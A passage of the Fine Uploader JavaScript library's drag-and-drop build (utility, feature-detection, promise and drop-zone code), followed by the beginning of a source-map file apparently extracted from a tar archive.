                var nextTemp = temp ? /\[\]$/.test(temp) ? temp : temp + "[" + i + "]" : i;
                if (nextTemp !== "undefined" && i !== "undefined") {
                    uristrings.push(typeof nextObj === "object" ? qq.obj2url(nextObj, nextTemp, true) : Object.prototype.toString.call(nextObj) === "[object Function]" ? encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj()) : encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj));
                }
            };
            if (!prefixDone && temp) {
                prefix = /\?/.test(temp) ? /\?$/.test(temp) ? "" : "&" : "?";
                uristrings.push(temp);
                uristrings.push(qq.obj2url(obj));
            } else if (Object.prototype.toString.call(obj) === "[object Array]" && typeof obj !== "undefined") {
                qq.each(obj, function(idx, val) {
                    add(val, idx);
                });
            } else if (typeof obj !== "undefined" && obj !== null && typeof obj === "object") {
                qq.each(obj, function(prop, val) {
                    add(val, prop);
                });
            } else {
                uristrings.push(encodeURIComponent(temp) + "=" + encodeURIComponent(obj));
            }
            if (temp) {
                return uristrings.join(prefix);
            } else {
                return uristrings.join(prefix).replace(/^&/, "").replace(/%20/g, "+");
            }
        };
        qq.obj2FormData = function(obj, formData, arrayKeyName) {
            if (!formData) {
                formData = new FormData();
            }
            qq.each(obj, function(key, val) {
                key = arrayKeyName ? arrayKeyName + "[" + key + "]" : key;
                if (qq.isObject(val)) {
                    qq.obj2FormData(val, formData, key);
                } else if (qq.isFunction(val)) {
                    formData.append(key, val());
                } else {
                    formData.append(key, val);
                }
            });
            return formData;
        };
        qq.obj2Inputs = function(obj, form) {
            var input;
            if (!form) {
                form = document.createElement("form");
            }
            qq.obj2FormData(obj, {
                append: function(key, val) {
                    input = document.createElement("input");
                    input.setAttribute("name", key);
                    input.setAttribute("value", val);
                    form.appendChild(input);
                }
            });
            return form;
        };
        qq.parseJson = function(json) {
            if (window.JSON && qq.isFunction(JSON.parse)) {
                return JSON.parse(json);
            } else {
                return eval("(" + json + ")");
            }
        };
        qq.getExtension = function(filename) {
            var extIdx = filename.lastIndexOf(".") + 1;
            if (extIdx > 0) {
                return filename.substr(extIdx, filename.length - extIdx);
            }
        };
        qq.getFilename = function(blobOrFileInput) {
            if (qq.isInput(blobOrFileInput)) {
                return blobOrFileInput.value.replace(/.*(\/|\\)/, "");
            } else if (qq.isFile(blobOrFileInput)) {
                if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {
                    return blobOrFileInput.fileName;
                }
            }
            return blobOrFileInput.name;
        };
        qq.DisposeSupport = function() {
            var disposers = [];
            return {
                dispose: function() {
                    var disposer;
                    do {
                        disposer = disposers.shift();
                        if (disposer) {
                            disposer();
                        }
                    } while (disposer);
                },
                attach: function() {
                    var args = arguments;
                    this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));
                },
                addDisposer: function(disposeFunction) {
                    disposers.push(disposeFunction);
                }
            };
        };
    })();
    (function() {
        "use strict";
        if (typeof define === "function" && define.amd) {
            define(function() {
                return qq;
            });
        } else if (typeof module !== "undefined" && module.exports) {
            module.exports = qq;
        } else {
            global.qq = qq;
        }
    })();
    qq.version = "5.11.8";
    qq.supportedFeatures = function() {
        "use strict";
        var supportsUploading, supportsUploadingBlobs, supportsFileDrop, supportsAjaxFileUploading, supportsFolderDrop, supportsChunking, supportsResume, supportsUploadViaPaste, supportsUploadCors, supportsDeleteFileXdr, supportsDeleteFileCorsXhr, supportsDeleteFileCors, supportsFolderSelection, supportsImagePreviews, supportsUploadProgress;
        function testSupportsFileInputElement() {
            var supported = true, tempInput;
            try {
                tempInput = document.createElement("input");
                tempInput.type = "file";
                qq(tempInput).hide();
                if (tempInput.disabled) {
                    supported = false;
                }
            } catch (ex) {
                supported = false;
            }
            return supported;
        }
        function isChrome21OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/) !== undefined;
        }
        function isChrome14OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/) !== undefined;
        }
        function isCrossOriginXhrSupported() {
            if (window.XMLHttpRequest) {
                var xhr = qq.createXhrInstance();
                return xhr.withCredentials !== undefined;
            }
            return false;
        }
        function isXdrSupported() {
            return window.XDomainRequest !== undefined;
        }
        function isCrossOriginAjaxSupported() {
            if (isCrossOriginXhrSupported()) {
                return true;
            }
            return isXdrSupported();
        }
        function isFolderSelectionSupported() {
            return document.createElement("input").webkitdirectory !== undefined;
        }
        function isLocalStorageSupported() {
            try {
                return !!window.localStorage && qq.isFunction(window.localStorage.setItem);
            } catch (error) {
                return false;
            }
        }
        function isDragAndDropSupported() {
            var span = document.createElement("span");
            return ("draggable" in span || "ondragstart" in span && "ondrop" in span) && !qq.android() && !qq.ios();
        }
        supportsUploading = testSupportsFileInputElement();
        supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();
        supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();
        supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();
        supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();
        supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();
        supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();
        supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();
        supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);
        supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();
        supportsDeleteFileXdr = isXdrSupported();
        supportsDeleteFileCors = isCrossOriginAjaxSupported();
        supportsFolderSelection = isFolderSelectionSupported();
        supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;
        supportsUploadProgress = function() {
            if (supportsAjaxFileUploading) {
                return !qq.androidStock() && !qq.iosChrome();
            }
            return false;
        }();
        return {
            ajaxUploading: supportsAjaxFileUploading,
            blobUploading: supportsUploadingBlobs,
            canDetermineSize: supportsAjaxFileUploading,
            chunking: supportsChunking,
            deleteFileCors: supportsDeleteFileCors,
            deleteFileCorsXdr: supportsDeleteFileXdr,
            deleteFileCorsXhr: supportsDeleteFileCorsXhr,
            dialogElement: !!window.HTMLDialogElement,
            fileDrop: supportsFileDrop,
            folderDrop: supportsFolderDrop,
            folderSelection: supportsFolderSelection,
            imagePreviews: supportsImagePreviews,
            imageValidation: supportsImagePreviews,
            itemSizeValidation: supportsAjaxFileUploading,
            pause: supportsChunking,
            progressBar: supportsUploadProgress,
            resume: supportsResume,
            scaling: supportsImagePreviews && supportsUploadingBlobs,
            tiffPreviews: qq.safari(),
            unlimitedScaledImageSize: !qq.ios(),
            uploading: supportsUploading,
            uploadCors: supportsUploadCors,
            uploadCustomHeaders: supportsAjaxFileUploading,
            uploadNonMultipart: supportsAjaxFileUploading,
            uploadViaPaste: supportsUploadViaPaste
        };
    }();
    qq.isGenericPromise = function(maybePromise) {
        "use strict";
        return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));
    };
    qq.Promise = function() {
        "use strict";
        var successArgs, failureArgs, successCallbacks = [], failureCallbacks = [], doneCallbacks = [], state = 0;
        qq.extend(this, {
            then: function(onSuccess, onFailure) {
                if (state === 0) {
                    if (onSuccess) {
                        successCallbacks.push(onSuccess);
                    }
                    if (onFailure) {
                        failureCallbacks.push(onFailure);
                    }
                } else if (state === -1) {
                    onFailure && onFailure.apply(null, failureArgs);
                } else if (onSuccess) {
                    onSuccess.apply(null, successArgs);
                }
                return this;
            },
            done: function(callback) {
                if (state === 0) {
                    doneCallbacks.push(callback);
                } else {
                    callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);
                }
                return this;
            },
            success: function() {
                state = 1;
                successArgs = arguments;
                if (successCallbacks.length) {
                    qq.each(successCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                return this;
            },
            failure: function() {
                state = -1;
                failureArgs = arguments;
                if (failureCallbacks.length) {
                    qq.each(failureCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                return this;
            }
        });
    };
    qq.DragAndDrop = function(o) {
        "use strict";
        var options, HIDE_ZONES_EVENT_NAME = "qq-hidezones", HIDE_BEFORE_ENTER_ATTR = "qq-hide-dropzone", uploadDropZones = [], droppedFiles = [], disposeSupport = new qq.DisposeSupport();
        options = {
            dropZoneElements: [],
            allowMultipleItems: true,
            classes: {
                dropActive: null
            },
            callbacks: new qq.DragAndDrop.callbacks()
        };
        qq.extend(options, o, true);
        function uploadDroppedFiles(files, uploadDropZone) {
            var filesAsArray = Array.prototype.slice.call(files);
            options.callbacks.dropLog("Grabbed " + files.length + " dropped files.");
            uploadDropZone.dropDisabled(false);
            options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());
        }
        function traverseFileTree(entry) {
            var parseEntryPromise = new qq.Promise();
            if (entry.isFile) {
                entry.file(function(file) {
                    var name = entry.name, fullPath = entry.fullPath, indexOfNameInFullPath = fullPath.indexOf(name);
                    fullPath = fullPath.substr(0, indexOfNameInFullPath);
                    if (fullPath.charAt(0) === "/") {
                        fullPath = fullPath.substr(1);
                    }
                    file.qqPath = fullPath;
                    droppedFiles.push(file);
                    parseEntryPromise.success();
                }, function(fileError) {
                    options.callbacks.dropLog("Problem parsing '" + entry.fullPath + "'.  FileError code " + fileError.code + ".", "error");
                    parseEntryPromise.failure();
                });
            } else if (entry.isDirectory) {
                getFilesInDirectory(entry).then(function allEntriesRead(entries) {
                    var entriesLeft = entries.length;
                    qq.each(entries, function(idx, entry) {
                        traverseFileTree(entry).done(function() {
                            entriesLeft -= 1;
                            if (entriesLeft === 0) {
                                parseEntryPromise.success();
                            }
                        });
                    });
                    if (!entries.length) {
                        parseEntryPromise.success();
                    }
                }, function readFailure(fileError) {
                    options.callbacks.dropLog("Problem parsing '" + entry.fullPath + "'.  FileError code " + fileError.code + ".", "error");
                    parseEntryPromise.failure();
                });
            }
            return parseEntryPromise;
        }
        function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {
            var promise = existingPromise || new qq.Promise(), dirReader = reader || entry.createReader();
            dirReader.readEntries(function readSuccess(entries) {
                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;
                if (entries.length) {
                    setTimeout(function() {
                        getFilesInDirectory(entry, dirReader, newEntries, promise);
                    }, 0);
                } else {
                    promise.success(newEntries);
                }
            }, promise.failure);
            return promise;
        }
        function handleDataTransfer(dataTransfer, uploadDropZone) {
            var pendingFolderPromises = [], handleDataTransferPromise = new qq.Promise();
            options.callbacks.processingDroppedFiles();
            uploadDropZone.dropDisabled(true);
            if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {
                options.callbacks.processingDroppedFilesComplete([]);
                options.callbacks.dropError("tooManyFilesError", "");
                uploadDropZone.dropDisabled(false);
                handleDataTransferPromise.failure();
            } else {
                droppedFiles = [];
                if (qq.isFolderDropSupported(dataTransfer)) {
                    qq.each(dataTransfer.items, function(idx, item) {
                        var entry = item.webkitGetAsEntry();
                        if (entry) {
                            if (entry.isFile) {
                                droppedFiles.push(item.getAsFile());
                            } else {
                                pendingFolderPromises.push(traverseFileTree(entry).done(function() {
                                    pendingFolderPromises.pop();
                                    if (pendingFolderPromises.length === 0) {
                                        handleDataTransferPromise.success();
                                    }
                                }));
                            }
                        }
                    });
                } else {
                    droppedFiles = dataTransfer.files;
                }
                if (pendingFolderPromises.length === 0) {
                    handleDataTransferPromise.success();
                }
            }
            return handleDataTransferPromise;
        }
        function setupDropzone(dropArea) {
            var dropZone = new qq.UploadDropZone({
                HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,
                element: dropArea,
                onEnter: function(e) {
                    qq(dropArea).addClass(options.classes.dropActive);
                    e.stopPropagation();
                },
                onLeaveNotDescendants: function(e) {
                    qq(dropArea).removeClass(options.classes.dropActive);
                },
                onDrop: function(e) {
                    handleDataTransfer(e.dataTransfer, dropZone).then(function() {
                        uploadDroppedFiles(droppedFiles, dropZone);
                    }, function() {
                        options.callbacks.dropLog("Drop event DataTransfer parsing failed.  No files will be uploaded.", "error");
                    });
                }
            });
            disposeSupport.addDisposer(function() {
                dropZone.dispose();
            });
            qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();
            uploadDropZones.push(dropZone);
            return dropZone;
        }
        function isFileDrag(dragEvent) {
            var fileDrag;
            qq.each(dragEvent.dataTransfer.types, function(key, val) {
                if (val === "Files") {
                    fileDrag = true;
                    return false;
                }
            });
            return fileDrag;
        }
        function leavingDocumentOut(e) {
            if (qq.firefox()) {
                return !e.relatedTarget;
            }
            if (qq.safari()) {
                return e.x < 0 || e.y < 0;
            }
            return e.x === 0 && e.y === 0;
        }
        function setupDragDrop() {
            var dropZones = options.dropZoneElements, maybeHideDropZones = function() {
                setTimeout(function() {
                    qq.each(dropZones, function(idx, dropZone) {
                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();
                        qq(dropZone).removeClass(options.classes.dropActive);
                    });
                }, 10);
            };
            qq.each(dropZones, function(idx, dropZone) {
                var uploadDropZone = setupDropzone(dropZone);
                if (dropZones.length && qq.supportedFeatures.fileDrop) {
                    disposeSupport.attach(document, "dragenter", function(e) {
                        if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {
                            qq.each(dropZones, function(idx, dropZone) {
                                if (dropZone instanceof HTMLElement && qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {
                                    qq(dropZone).css({
                                        display: "block"
                                    });
                                }
                            });
                        }
                    });
                }
            });
            disposeSupport.attach(document, "dragleave", function(e) {
                if (leavingDocumentOut(e)) {
                    maybeHideDropZones();
                }
            });
            disposeSupport.attach(qq(document).children()[0], "mouseenter", function(e) {
                maybeHideDropZones();
            });
            disposeSupport.attach(document, "drop", function(e) {
                e.preventDefault();
                maybeHideDropZones();
            });
            disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);
        }
        setupDragDrop();
        qq.extend(this, {
            setupExtraDropzone: function(element) {
                options.dropZoneElements.push(element);
                setupDropzone(element);
            },
            removeDropzone: function(element) {
                var i, dzs = options.dropZoneElements;
                for (i in dzs) {
                    if (dzs[i] === element) {
                        return dzs.splice(i, 1);
                    }
                }
            },
            dispose: function() {
                disposeSupport.dispose();
                qq.each(uploadDropZones, function(idx, dropZone) {
                    dropZone.dispose();
                });
            }
        });
    };
    qq.DragAndDrop.callbacks = function() {
        "use strict";
        return {
            processingDroppedFiles: function() {},
            processingDroppedFilesComplete: function(files, targetEl) {},
            dropError: function(code, errorSpecifics) {
                qq.log("Drag & drop error code '" + code + " with these specifics: '" + errorSpecifics + "'", "error");
            },
            dropLog: function(message, level) {
                qq.log(message, level);
            }
        };
    };
    qq.UploadDropZone = function(o) {
        "use strict";
        var disposeSupport = new qq.DisposeSupport(), options, element, preventDrop, dropOutsideDisabled;
        options = {
            element: null,
            onEnter: function(e) {},
            onLeave: function(e) {},
            onLeaveNotDescendants: function(e) {},
            onDrop: function(e) {}
        };
        qq.extend(options, o);
        element = options.element;
        function dragoverShouldBeCanceled() {
            return qq.safari() || qq.firefox() && qq.windows();
        }
        function disableDropOutside(e) {
            if (!dropOutsideDisabled) {
                if (dragoverShouldBeCanceled) {
                    disposeSupport.attach(document, "dragover", function(e) {
                        e.preventDefault();
                    });
                } else {
                    disposeSupport.attach(document, "dragover", function(e) {
                        if (e.dataTransfer) {
                            e.dataTransfer.dropEffect = "none";
                            e.preventDefault();
                        }
                    });
                }
                dropOutsideDisabled = true;
            }
        }
        function isValidFileDrag(e) {
            if (!qq.supportedFeatures.fileDrop) {
                return false;
            }
            var effectTest, dt = e.dataTransfer, isSafari = qq.safari();
            effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== "none";
            return dt && effectTest && (dt.files || !isSafari && dt.types.contains && dt.types.contains("Files"));
        }
        function isOrSetDropDisabled(isDisabled) {
            if (isDisabled !== undefined) {
                preventDrop = isDisabled;
            }
            return preventDrop;
        }
        function triggerHidezonesEvent() {
            var hideZonesEvent;
            function triggerUsingOldApi() {
                hideZonesEvent = document.createEvent("Event");
                hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);
            }
            if (window.CustomEvent) {
                try {
                    hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);
                } catch (err) {
                    triggerUsingOldApi();
                }
            } else {
                triggerUsingOldApi();
            }
            document.dispatchEvent(hideZonesEvent);
        }
        function attachEvents() {
            disposeSupport.attach(element, "dragover", function(e) {
                if (!isValidFileDrag(e)) {
                    return;
                }
                var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;
                if (effect === "move" || effect === "linkMove") {
                    e.dataTransfer.dropEffect = "move";
                } else {
                    e.dataTransfer.dropEffect = "copy";
                }
                e.stopPropagation();
                e.preventDefault();
            });
            disposeSupport.attach(element, "dragenter", function(e) {
                if (!isOrSetDropDisabled()) {
                    if (!isValidFileDrag(e)) {
                        return;
                    }
                    options.onEnter(e);
                }
            });
            disposeSupport.attach(element, "dragleave", function(e) {
                if (!isValidFileDrag(e)) {
                    return;
                }
                options.onLeave(e);
                var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);
                if (qq(this).contains(relatedTarget)) {
                    return;
                }
                options.onLeaveNotDescendants(e);
            });
            disposeSupport.attach(element, "drop", function(e) {
                if (!isOrSetDropDisabled()) {
                    if (!isValidFileDrag(e)) {
                        return;
                    }
                    e.preventDefault();
                    e.stopPropagation();
                    options.onDrop(e);
                    triggerHidezonesEvent();
                }
            });
        }
        disableDropOutside();
        attachEvents();
        qq.extend(this, {
            dropDisabled: function(isDisabled) {
                return isOrSetDropDisabled(isDisabled);
            },
            dispose: function() {
                disposeSupport.dispose();
            },
            getElement: function() {
                return element;
            }
        });
    };
})(window);
//# sourceMappingURL=dnd.js.mapjs/fileupload/jquery.fine-uploader.js.map000060400002306163150710775200014501 0ustar00{"version":3,"sources":["?","../client/js/jquery-plugin.js","../client/js/util.js","../client/js/export.js","../client/js/error/error.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/blob-proxy.js","../client/js/button.js","../client/js/upload-data.js","../client/js/uploader.basic.api.js","../client/js/uploader.basic.js","../client/js/ajax.requester.js","../client/js/upload-handler/upload.handler.js","../client/js/upload-handler/upload.handler.controller.js","../client/js/window.receive.message.js","../client/js/upload-handler/form.upload.handler.js","../client/js/upload-handler/xhr.upload.handler.js","../client/js/deletefile.ajax.requester.js","../client/js/image-support/megapix-image.js","../client/js/image-support/image.js","../client/js/image-support/exif.js","../client/js/identify.js","../client/js/image-support/validation.image.js","../client/js/session.js","../client/js/session.ajax.requester.js","../client/js/image-support/scaler.js","../client/js/third-party/ExifRestorer.js","../client/js/total-progress.js","../client/js/paste.js","../client/js/form-support.js","../client/js/traditional/traditional.form.upload.handler.js","../client/js/traditional/traditional.xhr.upload.handler.js","../client/js/traditional/all-chunks-done.ajax.requester.js","../client/js/dnd.js","../client/js/uploader.api.js","../client/js/uploader.js","../client/js/templating.js","../client/js/ui.handler.events.js","../client/js/ui.handler.click.filebuttons.js","../client/js/ui.handler.click.filename.js","../client/js/ui.handler.focusin.filenameinput.js","../client/js/ui.handler.focus.filenameinput.js","../client/js/ui.handler.edit.filename.js"],"names":["global","$","$el","pluginOptions","init","options","xformedOpts","transformVariables","newUploaderInstance","getNewUploaderInstance","uploader","addCallbacks","params","uploaderType","pluginOption","namespace","charAt","toUpperCase","slice","toLowerCase","qq","FineUploader","dataStore","key","val","data","undefined","instanceToStore","option","optionVal","transformedOpts","callbacks","each","_options","prop","nonJqueryCallback","name","callbackEventTarget","exec","substring","originalArgs","Array","prototype","call","arguments","transformedArgs","nonJqueryCallbackRetVal","jqueryEventCallbackRetVal","idx","arg","push","maybeWrapInJquery","apply","this","triggerHandler","error","log","message","source","dest","xformed","arrayVals","element","inArray","isPlainObject","isArray","arrayVal","arrayObjDest","merge","isValidCommand","command","type","match","delegateCommand","xformedArgs","origArgs","retVal","transformedVal","nodeType","cloneNode","fn","fineUploader","optionsOrCommand","self","selfArgs","retVals","index","el","length","jQuery","hide","style","display","attach","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","getFirstByClass","children","child","firstChild","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","getAttribute","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","createBlob","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","intArray","mimeString","split","indexOf","atob","decodeURI","ArrayBuffer","Uint8Array","character","charCodeAt","level","console","isObject","variable","Object","toString","isFunction","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","newStr","nextIdxToReplace","strBefore","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","override","target","sourceFn","super_","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","Storage","getItem","bind","oldFunc","context","newArgs","concat","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","testSupportsFileInputElement","supported","tempInput","disabled","ex","isChrome21OrHigher","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","BlobProxy","referenceBlob","onCreate","create","UploadButton","o","disposeSupport","acceptFiles","focusClass","folders","hoverClass","ios8BrowserCrashWorkaround","onChange","title","buttonId","createInput","BUTTON_ID_ATTR_NAME","setMultiple","position","right","top","fontFamily","fontSize","margin","padding","cursor","height","overflow","direction","getInput","getButtonId","isMultiple","optInput","removeAttribute","setAcceptFiles","reset","UploadData","uploaderProxy","byUuid","byStatus","byProxyGroupId","byBatchId","getDataByIds","idOrIds","entries","id","getDataByUuids","uuids","uuid","getDataByStatus","status","statusResults","statuses","statusEnum","statusResultIndexes","dataIndex","addFile","spec","SUBMITTING","originalName","size","batchId","proxyGroupId","onStatusChange","retrieve","optionalFilter","setStatus","newStatus","oldStatus","byStatusOldStatusIndex","splice","uuidChanged","newUuid","oldUuid","updateName","newName","updateSize","newSize","setParentId","targetId","parentId","getIdsInProxyGroup","getIdsInBatch","SUBMITTED","REJECTED","QUEUED","CANCELED","PAUSED","UPLOADING","UPLOAD_RETRYING","UPLOAD_SUCCESSFUL","UPLOAD_FAILED","DELETE_FAILED","DELETING","DELETED","basePublicApi","addBlobs","blobDataOrArray","endpoint","addFiles","addInitialFiles","cannedFileList","cannedFile","_addCannedFile","_maybeHandleIos8SafariWorkaround","_storedIds","_currentBatchId","processBlob","_handleNewFile","blobs","defaultName","verifiedFiles","processBlobData","blobData","processCanvas","processCanvasData","canvasData","normalizedQuality","processFileOrInput","fileOrInput","files","file","normalizeData","fileContainer","_prepareItemsForUpload","cancel","_handler","cancelAll","storedIdsCopy","storedFileId","clearStoredFiles","continueUpload","uploadData","_uploadData","enabled","getName","_uploadFile","deleteFile","_onSubmitDelete","doesExist","fileOrBlobId","isValid","drawThumbnail","fileId","imgOrCanvas","maxSize","fromServer","customResizeFunction","promiseToReturn","fileOrUrl","_imageGenerator","_thumbnailUrls","scale","getFile","container","generate","modifiedContainer","reason","getButton","_getButton","_buttonIdsForFileIds","getEndpoint","_endpointStore","get","getInProgress","getParentId","uploadDataEntry","getUploads","getResumableFilesData","getSize","getNetUploads","_netUploaded","getRemainingAllowedItems","allowedItems","_currentItemLimit","_netUploadedOrQueued","getUuid","debug","pauseUpload","_autoRetries","_retryTimeouts","_preventRetries","_buttons","button","_paramsStore","_pasteHandler","session","refreshOnReset","_refreshSessionData","_succeededSinceLastAllComplete","_failedSinceLastAllComplete","_totalProgress","retry","_manualRetry","scaleImage","specs","Scaler","setCustomHeaders","headers","_customHeadersStore","set","setDeleteFileCustomHeaders","_deleteFileCustomHeadersStore","setDeleteFileEndpoint","_deleteFileEndpointStore","setDeleteFileParams","_deleteFileParamsStore","setEndpoint","setForm","elementOrId","_updateFormSupportAndParams","setItemLimit","newItemLimit","setName","setParams","setUuid","uploadStoredFiles","_itemError","_uploadStoredFiles","basePrivateApi","sessionData","deleteFileEndpoint","deleteFileParams","thumbnailUrl","_annotateWithButtonId","associatedInput","qqButtonId","_getButtonId","_batchError","onError","_createDeleteHandler","DeleteFileAjaxRequester","method","maxConnections","uuidParamName","request","uuidName","customHeaders","paramsStore","endpointStore","cors","onDelete","_onDelete","onDeleteComplete","xhrOrXdr","isError","_onDeleteComplete","_createPasteHandler","PasteSupport","targetElement","paste","pasteReceived","_handleCheckedCallback","onPasteReceived","_handlePasteSuccess","identifier","_createStore","initialValue","_readOnlyValues_","store","catchall","perIdReadOnlyValues","readOnlyValues","copy","orig","getReadOnlyValues","includeReadOnlyValues","existing","values","addReadOnly","_createUploadDataTracker","_onUploadStatusChange","_maybeAllComplete","setTimeout","_createUploadButton","accept","validation","allowedExtensions","allowMultiple","workarounds","iosEmptyVideos","_isAllowedExtension","classes","buttonFocus","buttonHover","ios8BrowserCrash","inputName","_onInputChange","fileInputTitle","_disposeSupport","_createUploadHandler","additionalOptions","lastOnProgress","preventRetryParam","preventRetryResponseProperty","onProgress","loaded","total","_onProgress","onComplete","_onComplete","onCancel","cancelFinalizationEffort","_onCancel","onUploadPrep","_onUploadPrep","onUpload","_onUpload","onUploadChunk","chunkData","_onUploadChunk","onUploadChunkSuccess","onResume","onAutoRetry","responseJSON","_onAutoRetry","onUuidChanged","setSize","_setSize","getDataByUuid","isQueued","UploadHandlerController","_fileOrBlobRejected","_formatSize","max","toFixed","sizeSymbols","_generateExtraButtonSpecs","_extraButtonSpecs","extraButtons","extraButtonOptionEntry","extraButtonSpec","_initExtraButton","extraButtonsSpec","_defaultButtonId","buttonOrFileInputOrFile","inputs","fileInput","fileBlobOrInput","_getNotFinished","_getValidationBase","_getValidationDescriptor","fileWrapper","_getValidationDescriptors","fileWrappers","fileDescriptors","_handleCameraAccess","camera","acceptIosCamera","optionRoot","details","callbackRetVal","successParam","newFileWrapperList","actualFile","handler","_customNewFileHandler","_handleNewFileGeneric","addFileToHandler","_trackButton","fileList","extSuppliedName","extension","_initFormSupportAndParams","_formSupport","FormSupport","attachedToForm","getFormInputsAsObject","autoUpload","newAutoUpload","newEndpoint","_isDeletePossible","expected","allowXdr","allowed","valid","allowedExt","extRegex","code","maybeNameOrNames","messages","names","validationBase","extensionsForMessage","placeholderMatch","replacement","allowedExtension","formatFileName","sizeLimit","minSizeLimit","placeholder","_onBeforeManualRetry","notFinished","_onAllComplete","ios8SafariUploads","alert","unsupportedBrowserIos8Safari","_maybeParseAndSendUploadError","response","errorReason","defaultResponseError","_maybeProcessNextItemAfterOnValidateCallback","validItem","stopOnFirstInvalidFile","validationDescriptor","onValidate","_onValidateCallbackSuccess","_onValidateCallbackFailure","successful","failed","onAllComplete","_shouldAutoRetry","_onBeforeAutoRetry","au